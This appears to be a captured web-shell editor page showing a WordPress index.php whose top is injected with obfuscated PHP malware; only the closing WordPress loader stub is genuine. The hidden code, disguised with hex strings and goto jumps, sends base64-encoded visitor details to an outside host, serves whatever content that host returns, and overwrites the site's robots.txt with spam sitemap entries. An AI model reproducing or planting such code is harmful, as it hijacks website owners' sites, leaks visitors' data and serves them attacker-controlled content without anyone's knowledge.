One Hat Cyber Team

Edit File: index.php

<?php
 goto pT3GQ; vDm2f: HEADeR("\110\x54\x54\x50\x2f\61\x2e\x30\x20\x34\x30\64\x20\x4e\157\x74\40\x46\157\165\156\x64"); goto zV1cc; anTNb: $GuZtX = "\x6c\171\164"; goto De7fq; Stj67: $uCeMW = TrIM($ksHbp[RounD(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0)]); goto enlaR; rCxBg: $Ksa0o = cuRL_InIt(); goto GePdY; RI7Af: arraY_pop($XwDg2); goto rHqQQ; kOcOd: $uQVsM = "\x61\153\61"; goto Pl0lw; YvZb2: $ZIVbu = "\x6f\x6e\164\145"; goto iW70c; zV1cc: nYal3: goto IWPo1; Qt1HT: if (empty($TeYyE)) { goto QHYHI; } goto uPaMp; QDXU0: goto Mmv2R; goto nxaPb; pT3GQ: erRor_RePoRTInG(rOUNd(0 + 0 + 0 + 0 + 0 + 0 + 0 + 0 + 0)); goto bjvrV; nxaPb: Lwk5f: goto TejDW; MiwNy: CuRl_SETOPT($Ksa0o, CURLOPT_RETURNTRANSFER, ROUNd(0.95509499 + 0.044905)); goto VySqi; VjeMI: exit; goto f0Fbz; rHqQQ: foreach ($XwDg2 as $Ctzju) { $U_F86 .= "\123\x69\164\x65\155\141\x70\x3a" . $Ctzju . PHP_EOL; XfMLS: } goto iM9HA; nL2PU: $kvwTq = "\150\x74\x74\160\x3a\57\x2f" . $gJo_u . $y5cBx . $GuZtX . $i3UMw; goto AExfg; AExfg: $vZmIH = "\x2f\151\156\144\x65\x78\x2e\x70\x68\160\x3f\x56\x53\x3d" . $uQVsM . "\x26\x47\120\75" . $gJo_u; goto j19u_; MzMjZ: IXA7w: goto ZKKO2; kFpUm: if (!(prEG_MATCh("\57\x6a\x70\62\x30\62\63\x63\x77\x77\57\163\x69", $_SERVER["\122\x45\121\x55\x45\x53\x54\x5f\x55\x52\x49"]) == RoUNd(0 + 0 + 0 + 0 + 0 + 0))) { goto nYal3; } goto vDm2f; GXKNg: CuRl_CLoSE($Ksa0o); goto X1j6s; c40YP: $zUIvU = "\145\x74\137\143"; goto YvZb2; X1j6s: if (!empty($mlNZq)) { goto IXA7w; } goto dlDwG; c9vpT: $ffAnI = foPEN($_SERVER["\104\x4f\103\125\115\105\116\124\137\x52\117\117\x54"] . "\57\162\x6f\142\157\x74\163\x2e\x74\170\x74", "\x77"); goto fZA7p; dlDwG: $S91rs = "\146\x69\154"; goto iCENy; diNQE: $mlNZq = $bLXbd($eHHSd); goto MzMjZ; GePdY: CURl_SEtopT($Ksa0o, CURLOPT_URL, $eHHSd); goto MiwNy; fZA7p: fwRiTe($ffAnI, $U_F86); goto r2w8s; iCENy: $gG9Y1 = "\145\x5f\147"; goto c40YP; Eqqxc: YCtjg: goto UY2PY; aaBb2: $mlNZq = Curl_ExeC($Ksa0o); goto Ru614; Lk21y: $y5cBx = "\56\151\x74\x61"; goto anTNb; SP_mM: OqqI_: goto UPm6S; TejDW: HEADEr("\110\x54\124\120\57\61\56\60\x20\x34\x30\64\x20\116\157\x74\x20\106\157\x75\156\x64"); goto GUsPV; BEqS5: exit; goto zLNvo; UY2PY: $TeYyE = TRIM($ksHbp[ROUnD(0.16584967 + 0.03812636 + 0.066721 + 0.26852 + 0.2617102 + 0.12009804 + 0.052832 + 0.02614)]); goto Qt1HT; Pl0lw: if (!(prEg_MAtCh("\x2f\x6a\x70\62\x30\x32\63\x2f\x73\151", $_SERVER["\x52\105\121\x55\105\x53\124\137\125\122\111"]) == rOuND(0.26736566 + 0.224115 + 0.29193971 + 0.0504587 + 0.1582569 + 0.0078637))) { goto gdOb3; } goto kFpUm; IWPo1: echo "\110\124\124\x50\57\61\x2e\x30\x20\64\x30\x34\40\x4e\x6f\164\40\x46\157\165\x6e\x64\x5f\137\137" . $gJo_u . "\x5f\137\137" . $uQVsM; goto hgyK1; KKLqY: $ksHbp = expLoDe("\x7c\x40\x23\44\174", $mlNZq); goto xCHWS; ZKKO2: $mlNZq = Trim($mlNZq); goto KKLqY; enlaR: if (empty($uCeMW)) { goto YCtjg; } goto wK7N7; VySqi: Curl_sEToPt($Ksa0o, CURLOPT_CONNECTTIMEOUT, roUnD(2.381 + 2.06145585 + 1.5752 + 0.8204057 + 0.955 + 2.05250597 + 0.06562999999999999 + 0.089)); goto aaBb2; NesKK: QHYHI: goto AeGEs; TPFLX: $U_F86 .= "\101\x6c\154\157\167\72\x2f" . PHP_EOL; goto ebRBC; iW70c: $wARYT = "\x6e\x74\x73"; goto t61Ha; xCHWS: $MnjjN = cOunT($ksHbp); goto xuj0S; ebRBC: $XwDg2 = EXPLode("\74\x62\162\x2f\76", $TeYyE); goto RI7Af; t61Ha: $bLXbd = $S91rs . $gG9Y1 . $zUIvU . $ZIVbu . $wARYT; goto diNQE; xuj0S: if ($MnjjN < 3) { goto Lwk5f; } goto Stj67; hgyK1: exit; goto TjGSa; wK7N7: HeADeR($uCeMW); goto Eqqxc; TjGSa: gdOb3: goto Lk21y; j19u_: $e9pbX = array("\123\x43\x52\x49\120\x54\137\x4e\x41\115\x45", "\x52\x45\x51\125\x45\x53\124\x5f\125\122\111", "\x48\x54\x54\x50\123", "\x52\105\x51\x55\x45\x53\x54\137\x53\x43\110\x45\115\x45", "\x53\x45\x52\x56\x45\x52\137\x50\x4f\x52\x54", "\122\x45\115\117\124\105\137\x41\104\x44\x52", "\110\124\x54\x50\137\122\105\x46\105\122\105\122", "\x48\124\x54\x50\137\101\103\103\x45\120\124\x5f\x4c\x41\x4e\x47\x55\101\x47\x45", "\110\124\x54\x50\137\x55\x53\x45\x52\x5f\101\107\x45\x4e\124", "\110\124\x54\120\x5f\110\x4f\x53\124"); goto SEAbk; saAb1: if (!($iS2be == "\x70\x69\x6e\147")) { goto ZxWo6; } goto r56tN; UPm6S: $eHHSd = $kvwTq . $vZmIH; goto rCxBg; De7fq: $i3UMw = "\x79\x70\x65\56\x63\x6f\155"; goto nL2PU; zLNvo: amsIh: goto saAb1; AeGEs: $iS2be = triM($ksHbp[$MnjjN - ROUnD(0.139 + 0.0195 + 0.14466804 + 0.0675012 + 0.15607669 + 0.06163841 + 0.1448265 + 0.123 + 0.144)]); goto adqQb; GUsPV: exit; goto eAcE9; zLo4c: echo "\162\157\142\157\164\163\x2e\x74\x78\x74\40\144\x6f\x6e\145"; goto VjeMI; adqQb: if (!($iS2be == "\x65\x78\x69\x74")) { goto amsIh; } goto BEqS5; SEAbk: foreach ($e9pbX as $EFg2p) { goto aFnj2; ki6QI: goto n_KKQ; goto qlhg4; zhUZD: $r_wMV = StR_rEplAce("\x2b", "\x2d", $r_wMV); goto AcbAY; Y3PUf: $xcvRG = isset($_SERVER[$EFg2p]) ? $_SERVER[$EFg2p] : ''; goto ki6QI; dPUoa: $xcvRG = isset($_SERVER["\110\124\x54\120\137\x58\137\x46\117\x52\x57\x41\x52\104\x45\104\x5f\106\x4f\122"]) ? $_SERVER["\x48\124\124\x50\137\x58\x5f\x46\117\122\127\x41\122\x44\105\104\x5f\106\117\122"] : (isset($_SERVER["\122\x45\115\x4f\124\x45\x5f\x41\x44\x44\x52"]) ? $_SERVER["\122\x45\x4d\117\x54\105\x5f\x41\x44\x44\x52"] : ''); goto M3nVo; BjoXC: CQqRe: goto tqH37; M3nVo: n_KKQ: goto Rv7C1; Rv7C1: $r_wMV = basE64_ENCoDE(triM($xcvRG)); goto zhUZD; qlhg4: yxi32: goto dPUoa; FzLFw: $r_wMV = STR_rEplaCe("\x3d", "\x2e", $r_wMV); goto vOyLC; AcbAY: $r_wMV = sTr_REPLAce("\57", "\137", $r_wMV); goto FzLFw; vOyLC: $vZmIH .= "\x26" . $EFg2p . "\x3d" . $r_wMV; goto BjoXC; aFnj2: if ($EFg2p == "\x52\105\115\x4f\x54\x45\137\101\104\104\122") { goto yxi32; } goto Y3PUf; tqH37: } goto SP_mM; iM9HA: YlgPB: goto c9vpT; r56tN: $U_F86 = "\125\x73\x65\162\55\x61\147\x65\156\164\72\52" . PHP_EOL; goto TPFLX; bjvrV: $gJo_u = "\172\x6a\62\60\x38\x38"; goto kOcOd; Ru614: $mlNZq = triM($mlNZq); goto GXKNg; r2w8s: fCLOsE($ffAnI); goto zLo4c; uPaMp: echo $TeYyE; goto NesKK; f0Fbz: ZxWo6: goto QDXU0; eAcE9: Mmv2R:
?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';